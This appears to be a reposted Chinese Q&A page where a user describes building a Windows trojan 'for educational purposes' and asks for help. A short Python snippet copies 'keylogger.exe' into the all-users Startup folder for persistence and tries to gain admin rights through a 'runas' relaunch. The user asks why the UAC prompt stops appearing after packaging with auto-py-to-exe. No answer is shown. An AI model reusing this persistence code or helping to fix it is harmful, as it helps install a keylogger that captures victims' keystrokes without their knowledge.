微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

尝试将文件复制到启动时权限被拒绝 - Python 和 auto-py-to-exe

如何解决尝试将文件复制到启动时权限被拒绝 - Python 和 auto-py-to-exe

我正在创建一个简单的 Windows 特洛伊木马,用于教育目的。我正在努力将文件复制到启动。当从 CMD 执行该代码时,它按预期工作,但在转换为 exe 后,它停止工作,因为不会出现 UAC 弹出窗口。我尝试从 auto-py-to-exe 请求 UAC,但没有帮助。你知道如何让它工作吗?

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

if is_admin():
    shutil.copy(os.path.abspath("keylogger.exe"),r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp");
else:
    #treid but doesnt work as well# ctypes.windll.shell32.ShellExecuteW(None,"runas",sys.executable," ".join(sys.argv),None,1) 
    ctypes.windll.shell32.ShellExecuteW(None,u"runas",unicode(sys.executable),unicode(" ".join(sys.argv)),1)

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。